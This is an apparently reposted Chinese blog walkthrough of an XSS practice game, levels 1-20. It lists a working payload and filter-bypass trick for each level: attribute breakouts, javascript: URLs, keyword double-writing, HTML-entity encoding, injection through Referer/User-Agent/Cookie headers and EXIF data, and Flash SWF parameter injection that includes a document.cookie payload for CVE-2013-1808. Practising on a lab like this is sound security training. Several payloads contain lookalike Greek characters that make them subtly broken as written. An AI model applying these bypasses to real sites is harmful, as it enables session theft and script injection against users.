当前位置:   article > 正文

xss小游戏1-20,详细攻略(level14,level19详解)_xss闯关1-20

xss闯关1-20

XSS小游戏通关攻略

level1

在这里插入图片描述

直接修改name参数的值为:

<script>alert(1)</script>
  • 1

解释:利用<script>标签下的alert()弹窗

在这里插入图片描述

level2

尝试使用level1的:

<script>alert(1)</script>
  • 1

在这里插入图片描述

查看网页源代码:

在这里插入图片描述

很明显,level2关卡的值被传到了value里

尝试使用

" onmouseover='alert(1)'
  • 1

闭合vlaue的双引号

在这里插入图片描述

level3

尝试

" οnmοuseοver='alert(1)'	失败, " 被过滤
  • 1

在这里插入图片描述

将 " 换成 ',后面的’去掉

'οnmοuseοver='alert(1)'
  • 1

在这里插入图片描述

level4

观察网页源代码,可将参数值修改为:

" οnmοuseοver="alert(1)
  • 1

在这里插入图片描述

level5

尝试之前关卡的xss代码,可知源代码有限制如下:

htmlspecialchars()		转义  <  > 
on转换为了o_n
<script>alert(1)</script>  仅转义<scrip 为 <scr_ip
  • 1
  • 2
  • 3

尝试大小写绕过

" ONmouseover="alert(1)			大写被全部转换为小写
  • 1

源代码不变

在这里插入图片描述

使用a标签的href属性

"><a href="javascript:alert('XSS');">//
  • 1

在这里插入图片描述

在这里插入图片描述

level6

尝试大小写绕过

" ONmouseover="alert(1)			
  • 1

在这里插入图片描述

level7

输入以下两种XSS代码.可知,其完整过滤了script,href

<script>alert(1)</script>"><a href="javascript:alert(1);">//  
  • 1

换成onmouseover 可知其过滤了大小写和on关键字符

" ONmouseover="alert(1)	
  • 1

尝试使用双写绕过

"><a hrhrefef="javascriscriptpt:alert(1);">//" oonnmouseover="alert(1)
  • 1

在这里插入图片描述

level8

查看网页源代码可知:

在这里插入图片描述

20行存在a标签,值为我们输入的参数,存在XSS漏洞

尝试:

javascript:alert(1)
  • 1

在这里插入图片描述

猜测 r 被替换为了 r_

尝试使用Unicode编码绕过

javasc&#114;ipt:alert(1)
  • 1

在这里插入图片描述

level9

查看level9的php文件代码

在这里插入图片描述

发现存在strpos(),判断 http:// 是否存在

在这里插入图片描述

借助level8的payload重新构造得:

javasc&#114;ipt:alert('http://')
  • 1

在这里插入图片描述

level10

查看网页的源代码可知,本关卡存在三个参数。尝试给前两位参数传值,发现没有作用,只有第三位可传。

在这里插入图片描述

t_sort=" οnmοuseοver="alert(1)" type="text
  • 1

在这里插入图片描述

level11

查看php文件的代码

在这里插入图片描述

可知我们可以在请求头进行XSS注入

通过bp抓包(level10到level11的包)

修改其Referer

" οnmοuseοver=alert(1) type="text"
  • 1

在这里插入图片描述

level12

首先查看网页的源代码

在这里插入图片描述

可以看到有一个参数 t_ua 的值

可以联想到用bp抓包,再更改它的user-agent(后面加)

" οnmοuseοver="alert(1)" type="text
  • 1

在这里插入图片描述

重新放出

在这里插入图片描述

level13

和12关类似,用bp抓包

然后修改Cookie的值:

" οnmοuseοver="alert(1)" type="text
  • 1

在这里插入图片描述

在这里插入图片描述

level14

这一关是关于图片的exif信息,未加过滤就会触发xss漏洞攻击。

原来的本关是跳转到网站

http://exifviewer.org,然后在网站上通过上传自己修改过的图片来产生xss漏洞攻击的,但是网站现在已经登不进去了。

在查阅了多方的资料以后,还是通过一位大佬自己编写的php文件来复现此关(自己又修改了一点点)。php修改文件如下:

<head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level15.php??src=1.gif"; }</script></head><form action="" method="post" enctype="multipart/form-data">	<h1 align=center>欢迎来到level14</h1>    <input type="file" id="File" name="file"/>    <input type="submit"  name="submit" value="submit"></form><?php//error_reporting(0);if(isset($_POST['submit'])){    $file = $_FILES['file'];    $filetmps = $file['tmp_name'];    $exif = exif_read_data($file['tmp_name'], 0, true);    foreach ($exif as $key => $section) {        foreach ($section as $name => $val) {            echo "$key.$name: $val<br />\n";        }    }}?>
  • 1

很多属性都是可以尝试去修改的,修改的xss语句可以是:

' "><img src=1 οnerrοr=alert("xss")>'
  • 1

我们这次修改的就是照相机制造商:

在这里插入图片描述

将修改后的照片上传

在这里插入图片描述

点击submit后,成功

在这里插入图片描述

ps: php版本得选高点,确保有php_exif,然后也必须开启它。phpstudy可以直接在php拓展里面开启它。

level15

做这道题的时候,由于靶场内的网址

https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js

服务器是在国外

建议使用VPN,访问才能变快。否则可能因为长时间响应而导致未出现弹窗。

观察到有ng-include出现,ng-include指令用来包含外部的HTML文件

在这里插入图片描述

自然想到文件包含,调用evil code执行弹窗

?src='level1.php?name=<img src=x οnerrοr=alert(1)>'
  • 1

在这里插入图片描述

level16

查看源代码

在这里插入图片描述

我们可以知道,这一关过滤了

script	空格	/	
  • 1

空格的过滤尝试采用编码来进行绕过

%0d%0a
  • 1

因为尖括号没被过滤,但script关键字被过滤

尝试构造的payload可以使用img标签

<img%0d%0asrc=1%0d%0aonerror=alert(1)>
  • 1

在这里插入图片描述

level17

查看本关php源代码

在这里插入图片描述

可见本关使用了<embed>标签,然后对于两个参数都进行了htmlspecialchars()函数的防护。

在标签内直接插入onmouseover

arg01=a&arg02=b onmouseover=alert(1)
  • 1

点击成功进入18关

在这里插入图片描述

level18

arg01=a&arg02=b onmouseover=alert(1)
  • 1

此关卡的payload和上一关一样,但是要注意的是必须要安装flashplayer插件才能有弹窗出现(level17关也是)。

亲测,没有安装的火狐无法弹出窗口。安装了的qq浏览器可以成功弹出

在这里插入图片描述

level19

arg01=version&arg02=<a%20href="javascript:alert(1)">1</a>
  • 1

右键这些看不懂的一些代码,发现这是flash渲染出来的。那么要看swf文件。

在这里插入图片描述

在源码中可知src=xsf03.swf

在这里插入图片描述

我们去xsf03.swf寻找sIFR

sIFR:当页面下载时,在一个指定的元素中用Flash渲染的文字来代替一些文本。

利用FFdec来反编译xsf03.swf文件

在这里插入图片描述

根据刚刚看到的界面信息来查找相关信息的代码

在这里插入图片描述

我们再查找VERSION_WARNING

在这里插入图片描述

可以看出version值赋给了_loc4_

version就是436哦。。。

在这里插入图片描述

就试一下

?arg01=version&arg02=b
  • 1

在这里插入图片描述

也就是version=b

因为刚刚有在源码上看到,如果version!=436,页面的%s就会改成你写的

在这里插入图片描述

果不其然

在这里插入图片描述

毫无疑问,我们应该在这里插入我们所构造的payload

再次查看反编译以后的sIFR,我们可以看到里面有getURL函数,利用这个函数我们就可以自动打开指定的网页,开启条件就是链接形式

那我们就尝试使用a标签构造链接,然后夹杂私货小弹窗。

尝试

version=<a href="javascript:alert(1)">1</a>a>
  • 1

页面里面就是

arg01=version&arg02=<a%20href="javascript:alert(1)">1</a>
  • 1

可以看到,蓝色字体11就是我们构造的链接,可以正常显示

在这里插入图片描述

点击11,成功

在这里插入图片描述

level20

查看页面的源代码
在这里插入图片描述

使用FFdec反编译xsf04.swf
在这里插入图片描述
CVE-2013-1808的漏洞,详情请看
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1808

大佬提供的payload

http://localhost/xss_game/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height
  • 1
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/712931
推荐阅读
相关标签
  

闽ICP备14008679号